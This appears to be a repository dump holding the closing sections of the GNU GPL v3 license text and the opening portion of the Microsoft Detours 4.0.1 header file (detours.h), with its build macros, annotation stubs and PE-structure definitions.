358 | additional permissions on material, added by you to a covered work,
359 | for which you have or can give appropriate copyright permission.
360 | 
361 |   Notwithstanding any other provision of this License, for material you
362 | add to a covered work, you may (if authorized by the copyright holders of
363 | that material) supplement the terms of this License with terms:
364 | 
365 |     a) Disclaiming warranty or limiting liability differently from the
366 |     terms of sections 15 and 16 of this License; or
367 | 
368 |     b) Requiring preservation of specified reasonable legal notices or
369 |     author attributions in that material or in the Appropriate Legal
370 |     Notices displayed by works containing it; or
371 | 
372 |     c) Prohibiting misrepresentation of the origin of that material, or
373 |     requiring that modified versions of such material be marked in
374 |     reasonable ways as different from the original version; or
375 | 
376 |     d) Limiting the use for publicity purposes of names of licensors or
377 |     authors of the material; or
378 | 
379 |     e) Declining to grant rights under trademark law for use of some
380 |     trade names, trademarks, or service marks; or
381 | 
382 |     f) Requiring indemnification of licensors and authors of that
383 |     material by anyone who conveys the material (or modified versions of
384 |     it) with contractual assumptions of liability to the recipient, for
385 |     any liability that these contractual assumptions directly impose on
386 |     those licensors and authors.
387 | 
388 |   All other non-permissive additional terms are considered "further
389 | restrictions" within the meaning of section 10.  If the Program as you
390 | received it, or any part of it, contains a notice stating that it is
391 | governed by this License along with a term that is a further
392 | restriction, you may remove that term.  If a license document contains
393 | a further restriction but permits relicensing or conveying under this
394 | License, you may add to a covered work material governed by the terms
395 | of that license document, provided that the further restriction does
396 | not survive such relicensing or conveying.
397 | 
398 |   If you add terms to a covered work in accord with this section, you
399 | must place, in the relevant source files, a statement of the
400 | additional terms that apply to those files, or a notice indicating
401 | where to find the applicable terms.
402 | 
403 |   Additional terms, permissive or non-permissive, may be stated in the
404 | form of a separately written license, or stated as exceptions;
405 | the above requirements apply either way.
406 | 
407 |   8. Termination.
408 | 
409 |   You may not propagate or modify a covered work except as expressly
410 | provided under this License.  Any attempt otherwise to propagate or
411 | modify it is void, and will automatically terminate your rights under
412 | this License (including any patent licenses granted under the third
413 | paragraph of section 11).
414 | 
415 |   However, if you cease all violation of this License, then your
416 | license from a particular copyright holder is reinstated (a)
417 | provisionally, unless and until the copyright holder explicitly and
418 | finally terminates your license, and (b) permanently, if the copyright
419 | holder fails to notify you of the violation by some reasonable means
420 | prior to 60 days after the cessation.
421 | 
422 |   Moreover, your license from a particular copyright holder is
423 | reinstated permanently if the copyright holder notifies you of the
424 | violation by some reasonable means, this is the first time you have
425 | received notice of violation of this License (for any work) from that
426 | copyright holder, and you cure the violation prior to 30 days after
427 | your receipt of the notice.
428 | 
429 |   Termination of your rights under this section does not terminate the
430 | licenses of parties who have received copies or rights from you under
431 | this License.  If your rights have been terminated and not permanently
432 | reinstated, you do not qualify to receive new licenses for the same
433 | material under section 10.
434 | 
435 |   9. Acceptance Not Required for Having Copies.
436 | 
437 |   You are not required to accept this License in order to receive or
438 | run a copy of the Program.  Ancillary propagation of a covered work
439 | occurring solely as a consequence of using peer-to-peer transmission
440 | to receive a copy likewise does not require acceptance.  However,
441 | nothing other than this License grants you permission to propagate or
442 | modify any covered work.  These actions infringe copyright if you do
443 | not accept this License.  Therefore, by modifying or propagating a
444 | covered work, you indicate your acceptance of this License to do so.
445 | 
446 |   10. Automatic Licensing of Downstream Recipients.
447 | 
448 |   Each time you convey a covered work, the recipient automatically
449 | receives a license from the original licensors, to run, modify and
450 | propagate that work, subject to this License.  You are not responsible
451 | for enforcing compliance by third parties with this License.
452 | 
453 |   An "entity transaction" is a transaction transferring control of an
454 | organization, or substantially all assets of one, or subdividing an
455 | organization, or merging organizations.  If propagation of a covered
456 | work results from an entity transaction, each party to that
457 | transaction who receives a copy of the work also receives whatever
458 | licenses to the work the party's predecessor in interest had or could
459 | give under the previous paragraph, plus a right to possession of the
460 | Corresponding Source of the work from the predecessor in interest, if
461 | the predecessor has it or can get it with reasonable efforts.
462 | 
463 |   You may not impose any further restrictions on the exercise of the
464 | rights granted or affirmed under this License.  For example, you may
465 | not impose a license fee, royalty, or other charge for exercise of
466 | rights granted under this License, and you may not initiate litigation
467 | (including a cross-claim or counterclaim in a lawsuit) alleging that
468 | any patent claim is infringed by making, using, selling, offering for
469 | sale, or importing the Program or any portion of it.
470 | 
471 |   11. Patents.
472 | 
473 |   A "contributor" is a copyright holder who authorizes use under this
474 | License of the Program or a work on which the Program is based.  The
475 | work thus licensed is called the contributor's "contributor version".
476 | 
477 |   A contributor's "essential patent claims" are all patent claims
478 | owned or controlled by the contributor, whether already acquired or
479 | hereafter acquired, that would be infringed by some manner, permitted
480 | by this License, of making, using, or selling its contributor version,
481 | but do not include claims that would be infringed only as a
482 | consequence of further modification of the contributor version.  For
483 | purposes of this definition, "control" includes the right to grant
484 | patent sublicenses in a manner consistent with the requirements of
485 | this License.
486 | 
487 |   Each contributor grants you a non-exclusive, worldwide, royalty-free
488 | patent license under the contributor's essential patent claims, to
489 | make, use, sell, offer for sale, import and otherwise run, modify and
490 | propagate the contents of its contributor version.
491 | 
492 |   In the following three paragraphs, a "patent license" is any express
493 | agreement or commitment, however denominated, not to enforce a patent
494 | (such as an express permission to practice a patent or covenant not to
495 | sue for patent infringement).  To "grant" such a patent license to a
496 | party means to make such an agreement or commitment not to enforce a
497 | patent against the party.
498 | 
499 |   If you convey a covered work, knowingly relying on a patent license,
500 | and the Corresponding Source of the work is not available for anyone
501 | to copy, free of charge and under the terms of this License, through a
502 | publicly available network server or other readily accessible means,
503 | then you must either (1) cause the Corresponding Source to be so
504 | available, or (2) arrange to deprive yourself of the benefit of the
505 | patent license for this particular work, or (3) arrange, in a manner
506 | consistent with the requirements of this License, to extend the patent
507 | license to downstream recipients.  "Knowingly relying" means you have
508 | actual knowledge that, but for the patent license, your conveying the
509 | covered work in a country, or your recipient's use of the covered work
510 | in a country, would infringe one or more identifiable patents in that
511 | country that you have reason to believe are valid.
512 | 
513 |   If, pursuant to or in connection with a single transaction or
514 | arrangement, you convey, or propagate by procuring conveyance of, a
515 | covered work, and grant a patent license to some of the parties
516 | receiving the covered work authorizing them to use, propagate, modify
517 | or convey a specific copy of the covered work, then the patent license
518 | you grant is automatically extended to all recipients of the covered
519 | work and works based on it.
520 | 
521 |   A patent license is "discriminatory" if it does not include within
522 | the scope of its coverage, prohibits the exercise of, or is
523 | conditioned on the non-exercise of one or more of the rights that are
524 | specifically granted under this License.  You may not convey a covered
525 | work if you are a party to an arrangement with a third party that is
526 | in the business of distributing software, under which you make payment
527 | to the third party based on the extent of your activity of conveying
528 | the work, and under which the third party grants, to any of the
529 | parties who would receive the covered work from you, a discriminatory
530 | patent license (a) in connection with copies of the covered work
531 | conveyed by you (or copies made from those copies), or (b) primarily
532 | for and in connection with specific products or compilations that
533 | contain the covered work, unless you entered into that arrangement,
534 | or that patent license was granted, prior to 28 March 2007.
535 | 
536 |   Nothing in this License shall be construed as excluding or limiting
537 | any implied license or other defenses to infringement that may
538 | otherwise be available to you under applicable patent law.
539 | 
540 |   12. No Surrender of Others' Freedom.
541 | 
542 |   If conditions are imposed on you (whether by court order, agreement or
543 | otherwise) that contradict the conditions of this License, they do not
544 | excuse you from the conditions of this License.  If you cannot convey a
545 | covered work so as to satisfy simultaneously your obligations under this
546 | License and any other pertinent obligations, then as a consequence you may
547 | not convey it at all.  For example, if you agree to terms that obligate you
548 | to collect a royalty for further conveying from those to whom you convey
549 | the Program, the only way you could satisfy both those terms and this
550 | License would be to refrain entirely from conveying the Program.
551 | 
552 |   13. Use with the GNU Affero General Public License.
553 | 
554 |   Notwithstanding any other provision of this License, you have
555 | permission to link or combine any covered work with a work licensed
556 | under version 3 of the GNU Affero General Public License into a single
557 | combined work, and to convey the resulting work.  The terms of this
558 | License will continue to apply to the part which is the covered work,
559 | but the special requirements of the GNU Affero General Public License,
560 | section 13, concerning interaction through a network will apply to the
561 | combination as such.
562 | 
563 |   14. Revised Versions of this License.
564 | 
565 |   The Free Software Foundation may publish revised and/or new versions of
566 | the GNU General Public License from time to time.  Such new versions will
567 | be similar in spirit to the present version, but may differ in detail to
568 | address new problems or concerns.
569 | 
570 |   Each version is given a distinguishing version number.  If the
571 | Program specifies that a certain numbered version of the GNU General
572 | Public License "or any later version" applies to it, you have the
573 | option of following the terms and conditions either of that numbered
574 | version or of any later version published by the Free Software
575 | Foundation.  If the Program does not specify a version number of the
576 | GNU General Public License, you may choose any version ever published
577 | by the Free Software Foundation.
578 | 
579 |   If the Program specifies that a proxy can decide which future
580 | versions of the GNU General Public License can be used, that proxy's
581 | public statement of acceptance of a version permanently authorizes you
582 | to choose that version for the Program.
583 | 
584 |   Later license versions may give you additional or different
585 | permissions.  However, no additional obligations are imposed on any
586 | author or copyright holder as a result of your choosing to follow a
587 | later version.
588 | 
589 |   15. Disclaimer of Warranty.
590 | 
591 |   THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
592 | APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
596 | PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
597 | IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
599 | 
600 |   16. Limitation of Liability.
601 | 
602 |   IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
610 | SUCH DAMAGES.
611 | 
612 |   17. Interpretation of Sections 15 and 16.
613 | 
614 |   If the disclaimer of warranty and limitation of liability provided
615 | above cannot be given local legal effect according to their terms,
616 | reviewing courts shall apply local law that most closely approximates
617 | an absolute waiver of all civil liability in connection with the
618 | Program, unless a warranty or assumption of liability accompanies a
619 | copy of the Program in return for a fee.
620 | 
621 |                      END OF TERMS AND CONDITIONS
622 | 
623 |             How to Apply These Terms to Your New Programs
624 | 
625 |   If you develop a new program, and you want it to be of the greatest
626 | possible use to the public, the best way to achieve this is to make it
627 | free software which everyone can redistribute and change under these terms.
628 | 
629 |   To do so, attach the following notices to the program.  It is safest
630 | to attach them to the start of each source file to most effectively
631 | state the exclusion of warranty; and each file should have at least
632 | the "copyright" line and a pointer to where the full notice is found.
633 | 
634 |     <one line to give the program's name and a brief idea of what it does.>
635 |     Copyright (C) <year>  <name of author>
636 | 
637 |     This program is free software: you can redistribute it and/or modify
638 |     it under the terms of the GNU General Public License as published by
639 |     the Free Software Foundation, either version 3 of the License, or
640 |     (at your option) any later version.
641 | 
642 |     This program is distributed in the hope that it will be useful,
643 |     but WITHOUT ANY WARRANTY; without even the implied warranty of
644 |     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
645 |     GNU General Public License for more details.
646 | 
647 |     You should have received a copy of the GNU General Public License
648 |     along with this program.  If not, see <https://www.gnu.org/licenses/>.
649 | 
650 | Also add information on how to contact you by electronic and paper mail.
651 | 
652 |   If the program does terminal interaction, make it output a short
653 | notice like this when it starts in an interactive mode:
654 | 
655 |     <program>  Copyright (C) <year>  <name of author>
656 |     This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
657 |     This is free software, and you are welcome to redistribute it
658 |     under certain conditions; type `show c' for details.
659 | 
660 | The hypothetical commands `show w' and `show c' should show the appropriate
661 | parts of the General Public License.  Of course, your program's commands
662 | might be different; for a GUI interface, you would use an "about box".
663 | 
664 |   You should also get your employer (if you work as a programmer) or school,
665 | if any, to sign a "copyright disclaimer" for the program, if necessary.
666 | For more information on this, and how to apply and follow the GNU GPL, see
667 | <https://www.gnu.org/licenses/>.
668 | 
669 |   The GNU General Public License does not permit incorporating your program
670 | into proprietary programs.  If your program is a subroutine library, you
671 | may consider it more useful to permit linking proprietary applications with
672 | the library.  If this is what you want to do, use the GNU Lesser General
673 | Public License instead of this License.  But first, please read
674 | <https://www.gnu.org/licenses/why-not-lgpl.html>.
675 | 


--------------------------------------------------------------------------------
/Payload/detours.h:
--------------------------------------------------------------------------------
   1 | /////////////////////////////////////////////////////////////////////////////
   2 | //
   3 | //  Core Detours Functionality (detours.h of detours.lib)
   4 | //
   5 | //  Microsoft Research Detours Package, Version 4.0.1
   6 | //
   7 | //  Copyright (c) Microsoft Corporation.  All rights reserved.
   8 | //
   9 | 
  10 | #pragma once
  11 | #ifndef _DETOURS_H_
  12 | #define _DETOURS_H_
  13 | 
  14 | #define DETOURS_VERSION     0x4c0c1   // 0xMAJORcMINORcPATCH
  15 | 
  16 | //////////////////////////////////////////////////////////////////////////////
  17 | //
  18 | 
  19 | #ifdef DETOURS_INTERNAL
  20 | 
  21 | #define _CRT_STDIO_ARBITRARY_WIDE_SPECIFIERS 1
  22 | #define _ARM_WINAPI_PARTITION_DESKTOP_SDK_AVAILABLE 1
  23 | 
  24 | #pragma warning(disable:4068) // unknown pragma (suppress)
  25 | 
  26 | #if _MSC_VER >= 1900
  27 | #pragma warning(push)
  28 | #pragma warning(disable:4091) // empty typedef
  29 | #endif
  30 | 
  31 | // Suppress declspec(dllimport) for the sake of Detours
  32 | // users that provide kernel32 functionality themselves.
  33 | // This is ok in the mainstream case, it will just cost
  34 | // an extra instruction calling some functions, which
  35 | // LTCG optimizes away.
  36 | //
  37 | #define _KERNEL32_ 1
  38 | #define _USER32_ 1
  39 | 
  40 | #include <windows.h>
  41 | #if (_MSC_VER < 1310)
  42 | #else
  43 | #pragma warning(push)
  44 | #if _MSC_VER > 1400
  45 | #pragma warning(disable:6102 6103) // /analyze warnings
  46 | #endif
  47 | #include <strsafe.h>
  48 | #include <intsafe.h>
  49 | #pragma warning(pop)
  50 | #endif
  51 | 
  52 | // Allow Detours to cleanly compile with the MingW toolchain.
  53 | //
  54 | #ifdef __GNUC__
  55 | #define __try
  56 | #define __except(x) if (0)
  57 | #include <strsafe.h>
  58 | #endif
  59 | 
  60 | // From winerror.h, as this error isn't found in some SDKs:
  61 | //
  62 | // MessageId: ERROR_DYNAMIC_CODE_BLOCKED
  63 | //
  64 | // MessageText:
  65 | //
  66 | // The operation was blocked as the process prohibits dynamic code generation.
  67 | //
  68 | #define ERROR_DYNAMIC_CODE_BLOCKED       1655L
  69 | 
  70 | #endif // DETOURS_INTERNAL
  71 | 
  72 | //////////////////////////////////////////////////////////////////////////////
  73 | //
  74 | 
  75 | #undef DETOURS_X64
  76 | #undef DETOURS_X86
  77 | #undef DETOURS_IA64
  78 | #undef DETOURS_ARM
  79 | #undef DETOURS_ARM64
  80 | #undef DETOURS_BITS
  81 | #undef DETOURS_32BIT
  82 | #undef DETOURS_64BIT
  83 | 
  84 | #if defined(_X86_)
  85 | #define DETOURS_X86
  86 | #define DETOURS_OPTION_BITS 64
  87 | 
  88 | #elif defined(_AMD64_)
  89 | #define DETOURS_X64
  90 | #define DETOURS_OPTION_BITS 32
  91 | 
  92 | #elif defined(_IA64_)
  93 | #define DETOURS_IA64
  94 | #define DETOURS_OPTION_BITS 32
  95 | 
  96 | #elif defined(_ARM_)
  97 | #define DETOURS_ARM
  98 | 
  99 | #elif defined(_ARM64_)
 100 | #define DETOURS_ARM64
 101 | 
 102 | #else
 103 | #error Unknown architecture (x86, amd64, ia64, arm, arm64)
 104 | #endif
 105 | 
 106 | #ifdef _WIN64
 107 | #undef DETOURS_32BIT
 108 | #define DETOURS_64BIT 1
 109 | #define DETOURS_BITS 64
 110 | // If all 64bit kernels can run one and only one 32bit architecture.
 111 | //#define DETOURS_OPTION_BITS 32
 112 | #else
 113 | #define DETOURS_32BIT 1
 114 | #undef DETOURS_64BIT
 115 | #define DETOURS_BITS 32
 116 | // If all 64bit kernels can run one and only one 32bit architecture.
 117 | //#define DETOURS_OPTION_BITS 32
 118 | #endif
 119 | 
 120 | /////////////////////////////////////////////////////////////// Helper Macros.
 121 | //
 122 | #define DETOURS_STRINGIFY_(x)    #x
 123 | #define DETOURS_STRINGIFY(x)    DETOURS_STRINGIFY_(x)
 124 | 
 125 | #define VER_DETOURS_BITS    DETOURS_STRINGIFY(DETOURS_BITS)
 126 | 
 127 | //////////////////////////////////////////////////////////////////////////////
 128 | //
 129 | 
 130 | #if (_MSC_VER < 1299) && !defined(__MINGW32__)
 131 | typedef LONG LONG_PTR;
 132 | typedef ULONG ULONG_PTR;
 133 | #endif
 134 | 
 135 | ///////////////////////////////////////////////// SAL 2.0 Annotations w/o SAL.
 136 | //
 137 | //  These definitions are include so that Detours will build even if the
 138 | //  compiler doesn't have full SAL 2.0 support.
 139 | //
 140 | #ifndef DETOURS_DONT_REMOVE_SAL_20
 141 | 
 142 | #ifdef DETOURS_TEST_REMOVE_SAL_20
 143 | #undef _Analysis_assume_
 144 | #undef _Benign_race_begin_
 145 | #undef _Benign_race_end_
 146 | #undef _Field_range_
 147 | #undef _Field_size_
 148 | #undef _In_
 149 | #undef _In_bytecount_
 150 | #undef _In_count_
 151 | #undef __in_ecount
 152 | #undef _In_opt_
 153 | #undef _In_opt_bytecount_
 154 | #undef _In_opt_count_
 155 | #undef _In_opt_z_
 156 | #undef _In_range_
 157 | #undef _In_reads_
 158 | #undef _In_reads_bytes_
 159 | #undef _In_reads_opt_
 160 | #undef _In_reads_opt_bytes_
 161 | #undef _In_reads_or_z_
 162 | #undef _In_z_
 163 | #undef _Inout_
 164 | #undef _Inout_opt_
 165 | #undef _Inout_z_count_
 166 | #undef _Out_
 167 | #undef _Out_opt_
 168 | #undef _Out_writes_
 169 | #undef _Outptr_result_maybenull_
 170 | #undef _Readable_bytes_
 171 | #undef _Success_
 172 | #undef _Writable_bytes_
 173 | #undef _Pre_notnull_
 174 | #endif
 175 | 
 176 | #if defined(_Deref_out_opt_z_) && !defined(_Outptr_result_maybenull_)
 177 | #define _Outptr_result_maybenull_ _Deref_out_opt_z_
 178 | #endif
 179 | 
 180 | #if defined(_In_count_) && !defined(_In_reads_)
 181 | #define _In_reads_(x) _In_count_(x)
 182 | #endif
 183 | 
 184 | #if defined(_In_opt_count_) && !defined(_In_reads_opt_)
 185 | #define _In_reads_opt_(x) _In_opt_count_(x)
 186 | #endif
 187 | 
 188 | #if defined(_In_opt_bytecount_) && !defined(_In_reads_opt_bytes_)
 189 | #define _In_reads_opt_bytes_(x) _In_opt_bytecount_(x)
 190 | #endif
 191 | 
 192 | #if defined(_In_bytecount_) && !defined(_In_reads_bytes_)
 193 | #define _In_reads_bytes_(x) _In_bytecount_(x)
 194 | #endif
 195 | 
 196 | #ifndef _In_
 197 | #define _In_
 198 | #endif
 199 | 
 200 | #ifndef _In_bytecount_
 201 | #define _In_bytecount_(x)
 202 | #endif
 203 | 
 204 | #ifndef _In_count_
 205 | #define _In_count_(x)
 206 | #endif
 207 | 
 208 | #ifndef __in_ecount
 209 | #define __in_ecount(x)
 210 | #endif
 211 | 
 212 | #ifndef _In_opt_
 213 | #define _In_opt_
 214 | #endif
 215 | 
 216 | #ifndef _In_opt_bytecount_
 217 | #define _In_opt_bytecount_(x)
 218 | #endif
 219 | 
 220 | #ifndef _In_opt_count_
 221 | #define _In_opt_count_(x)
 222 | #endif
 223 | 
 224 | #ifndef _In_opt_z_
 225 | #define _In_opt_z_
 226 | #endif
 227 | 
 228 | #ifndef _In_range_
 229 | #define _In_range_(x,y)
 230 | #endif
 231 | 
 232 | #ifndef _In_reads_
 233 | #define _In_reads_(x)
 234 | #endif
 235 | 
 236 | #ifndef _In_reads_bytes_
 237 | #define _In_reads_bytes_(x)
 238 | #endif
 239 | 
 240 | #ifndef _In_reads_opt_
 241 | #define _In_reads_opt_(x)
 242 | #endif
 243 | 
 244 | #ifndef _In_reads_opt_bytes_
 245 | #define _In_reads_opt_bytes_(x)
 246 | #endif
 247 | 
 248 | #ifndef _In_reads_or_z_
 249 | #define _In_reads_or_z_
 250 | #endif
 251 | 
 252 | #ifndef _In_z_
 253 | #define _In_z_
 254 | #endif
 255 | 
 256 | #ifndef _Inout_
 257 | #define _Inout_
 258 | #endif
 259 | 
 260 | #ifndef _Inout_opt_
 261 | #define _Inout_opt_
 262 | #endif
 263 | 
 264 | #ifndef _Inout_z_count_
 265 | #define _Inout_z_count_(x)
 266 | #endif
 267 | 
 268 | #ifndef _Out_
 269 | #define _Out_
 270 | #endif
 271 | 
 272 | #ifndef _Out_opt_
 273 | #define _Out_opt_
 274 | #endif
 275 | 
 276 | #ifndef _Out_writes_
 277 | #define _Out_writes_(x)
 278 | #endif
 279 | 
 280 | #ifndef _Outptr_result_maybenull_
 281 | #define _Outptr_result_maybenull_
 282 | #endif
 283 | 
 284 | #ifndef _Writable_bytes_
 285 | #define _Writable_bytes_(x)
 286 | #endif
 287 | 
 288 | #ifndef _Readable_bytes_
 289 | #define _Readable_bytes_(x)
 290 | #endif
 291 | 
 292 | #ifndef _Success_
 293 | #define _Success_(x)
 294 | #endif
 295 | 
 296 | #ifndef _Pre_notnull_
 297 | #define _Pre_notnull_
 298 | #endif
 299 | 
 300 | #ifdef DETOURS_INTERNAL
 301 | 
 302 | #pragma warning(disable:4615) // unknown warning type (suppress with older compilers)
 303 | 
 304 | #ifndef _Benign_race_begin_
 305 | #define _Benign_race_begin_
 306 | #endif
 307 | 
 308 | #ifndef _Benign_race_end_
 309 | #define _Benign_race_end_
 310 | #endif
 311 | 
 312 | #ifndef _Field_size_
 313 | #define _Field_size_(x)
 314 | #endif
 315 | 
 316 | #ifndef _Field_range_
 317 | #define _Field_range_(x,y)
 318 | #endif
 319 | 
 320 | #ifndef _Analysis_assume_
 321 | #define _Analysis_assume_(x)
 322 | #endif
 323 | 
 324 | #endif // DETOURS_INTERNAL
 325 | #endif // DETOURS_DONT_REMOVE_SAL_20
 326 | 
 327 | //////////////////////////////////////////////////////////////////////////////
 328 | //
 329 | #ifndef GUID_DEFINED
 330 | #define GUID_DEFINED
 331 | typedef struct  _GUID
 332 | {
 333 |     DWORD Data1;
 334 |     WORD Data2;
 335 |     WORD Data3;
 336 |     BYTE Data4[8];
 337 | } GUID;
 338 | 
 339 | #ifdef INITGUID
 340 | #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
 341 |         const GUID name \
 342 |                 = { l, w1, w2, { b1, b2,  b3,  b4,  b5,  b6,  b7,  b8 } }
 343 | #else
 344 | #define DEFINE_GUID(name, l, w1, w2, b1, b2, b3, b4, b5, b6, b7, b8) \
 345 |     const GUID name
 346 | #endif // INITGUID
 347 | #endif // !GUID_DEFINED
 348 | 
 349 | #if defined(__cplusplus)
 350 | #ifndef _REFGUID_DEFINED
 351 | #define _REFGUID_DEFINED
 352 | #define REFGUID             const GUID &
 353 | #endif // !_REFGUID_DEFINED
 354 | #else // !__cplusplus
 355 | #ifndef _REFGUID_DEFINED
 356 | #define _REFGUID_DEFINED
 357 | #define REFGUID             const GUID * const
 358 | #endif // !_REFGUID_DEFINED
 359 | #endif // !__cplusplus
 360 | 
 361 | #ifndef ARRAYSIZE
 362 | #define ARRAYSIZE(x)    (sizeof(x)/sizeof(x[0]))
 363 | #endif
 364 | 
 365 | //
 366 | //////////////////////////////////////////////////////////////////////////////
 367 | 
 368 | #ifdef __cplusplus
 369 | extern "C" {
 370 | #endif // __cplusplus
 371 | 
 372 |     /////////////////////////////////////////////////// Instruction Target Macros.
 373 |     //
 374 | #define DETOUR_INSTRUCTION_TARGET_NONE          ((PVOID)0)
 375 | #define DETOUR_INSTRUCTION_TARGET_DYNAMIC       ((PVOID)(LONG_PTR)-1)
 376 | #define DETOUR_SECTION_HEADER_SIGNATURE         0x00727444   // "Dtr\0"
 377 | 
 378 |     extern const GUID DETOUR_EXE_RESTORE_GUID;
 379 |     extern const GUID DETOUR_EXE_HELPER_GUID;
 380 | 
 381 | #define DETOUR_TRAMPOLINE_SIGNATURE             0x21727444  // Dtr!
 382 |     typedef struct _DETOUR_TRAMPOLINE DETOUR_TRAMPOLINE, * PDETOUR_TRAMPOLINE;
 383 | 
 384 |     /////////////////////////////////////////////////////////// Binary Structures.
 385 |     //
 386 | #pragma pack(push, 8)
 387 |     typedef struct _DETOUR_SECTION_HEADER
 388 |     {
 389 |         DWORD       cbHeaderSize;
 390 |         DWORD       nSignature;
 391 |         DWORD       nDataOffset;
 392 |         DWORD       cbDataSize;
 393 | 
 394 |         DWORD       nOriginalImportVirtualAddress;
 395 |         DWORD       nOriginalImportSize;
 396 |         DWORD       nOriginalBoundImportVirtualAddress;
 397 |         DWORD       nOriginalBoundImportSize;
 398 | 
 399 |         DWORD       nOriginalIatVirtualAddress;
 400 |         DWORD       nOriginalIatSize;
 401 |         DWORD       nOriginalSizeOfImage;
 402 |         DWORD       cbPrePE;
 403 | 
 404 |         DWORD       nOriginalClrFlags;
 405 |         DWORD       reserved1;
 406 |         DWORD       reserved2;
 407 |         DWORD       reserved3;
 408 | 
 409 |         // Followed by cbPrePE bytes of data.
 410 |     } DETOUR_SECTION_HEADER, * PDETOUR_SECTION_HEADER;
 411 | 
 412 |     typedef struct _DETOUR_SECTION_RECORD
 413 |     {
 414 |         DWORD       cbBytes;
 415 |         DWORD       nReserved;
 416 |         GUID        guid;
 417 |     } DETOUR_SECTION_RECORD, * PDETOUR_SECTION_RECORD;
 418 | 
 419 |     typedef struct _DETOUR_CLR_HEADER
 420 |     {
 421 |         // Header versioning
 422 |         ULONG                   cb;
 423 |         USHORT                  MajorRuntimeVersion;
 424 |         USHORT                  MinorRuntimeVersion;
 425 | 
 426 |         // Symbol table and startup information
 427 |         IMAGE_DATA_DIRECTORY    MetaData;
 428 |         ULONG                   Flags;
 429 | 
 430 |         // Followed by the rest of the IMAGE_COR20_HEADER
 431 |     } DETOUR_CLR_HEADER, * PDETOUR_CLR_HEADER;
 432 | 
 433 |     typedef struct _DETOUR_EXE_RESTORE
 434 |     {
 435 |         DWORD               cb;
 436 |         DWORD               cbidh;
 437 |         DWORD               cbinh;
 438 |         DWORD               cbclr;
 439 | 
 440 |         PBYTE               pidh;
 441 |         PBYTE               pinh;
 442 |         PBYTE               pclr;
 443 | 
 444 |         IMAGE_DOS_HEADER    idh;
 445 |         union {
 446 |             IMAGE_NT_HEADERS    inh;        // all environments have this
 447 | #ifdef IMAGE_NT_OPTIONAL_HDR32_MAGIC    // some environments do not have this
 448 |             IMAGE_NT_HEADERS32  inh32;
 449 | #endif
 450 | #ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC    // some environments do not have this
 451 |             IMAGE_NT_HEADERS64  inh64;
 452 | #endif
 453 | #ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC    // some environments do not have this
 454 |             BYTE                raw[sizeof(IMAGE_NT_HEADERS64) +
 455 |                 sizeof(IMAGE_SECTION_HEADER) * 32];
 456 | #else
 457 |             BYTE                raw[0x108 + sizeof(IMAGE_SECTION_HEADER) * 32];
 458 | #endif
 459 |         };
 460 |         DETOUR_CLR_HEADER   clr;
 461 | 
 462 |     } DETOUR_EXE_RESTORE, * PDETOUR_EXE_RESTORE;
 463 | 
 464 | #ifdef IMAGE_NT_OPTIONAL_HDR64_MAGIC
 465 |     C_ASSERT(sizeof(IMAGE_NT_HEADERS64) == 0x108);
 466 | #endif
 467 | 
 468 |     // The size can change, but assert for clarity due to the muddying #ifdefs.
 469 | #ifdef _WIN64
 470 |     C_ASSERT(sizeof(DETOUR_EXE_RESTORE) == 0x688);
 471 | #else
 472 |     C_ASSERT(sizeof(DETOUR_EXE_RESTORE) == 0x678);
 473 | #endif
 474 | 
 475 |     typedef struct _DETOUR_EXE_HELPER
 476 |     {
 477 |         DWORD               cb;
 478 |         DWORD               pid;
 479 |         DWORD               nDlls;
 480 |         CHAR                rDlls[4];
 481 |     } DETOUR_EXE_HELPER, * PDETOUR_EXE_HELPER;
 482 | 
 483 | #pragma pack(pop)
 484 | 
 485 | #define DETOUR_SECTION_HEADER_DECLARE(cbSectionSize) \
 486 | { \
 487 |       sizeof(DETOUR_SECTION_HEADER),\
 488 |       DETOUR_SECTION_HEADER_SIGNATURE,\
 489 |       sizeof(DETOUR_SECTION_HEADER),\
 490 |       (cbSectionSize),\
 491 |       \
 492 |       0,\
 493 |       0,\
 494 |       0,\
 495 |       0,\
 496 |       \
 497 |       0,\
 498 |       0,\
 499 |       0,\
 500 |       0,\
 501 | }
 502 | 
 503 |     ///////////////////////////////////////////////////////////// Binary Typedefs.
 504 |     //
 505 |     typedef BOOL(CALLBACK* PF_DETOUR_BINARY_BYWAY_CALLBACK)(
 506 |         _In_opt_ PVOID pContext,
 507 |         _In_opt_ LPCSTR pszFile,
 508 |         _Outptr_result_maybenull_ LPCSTR* ppszOutFile);
 509 | 
 510 |     typedef BOOL(CALLBACK* PF_DETOUR_BINARY_FILE_CALLBACK)(
 511 |         _In_opt_ PVOID pContext,
 512 |         _In_ LPCSTR pszOrigFile,
 513 |         _In_ LPCSTR pszFile,
 514 |         _Outptr_result_maybenull_ LPCSTR* ppszOutFile);
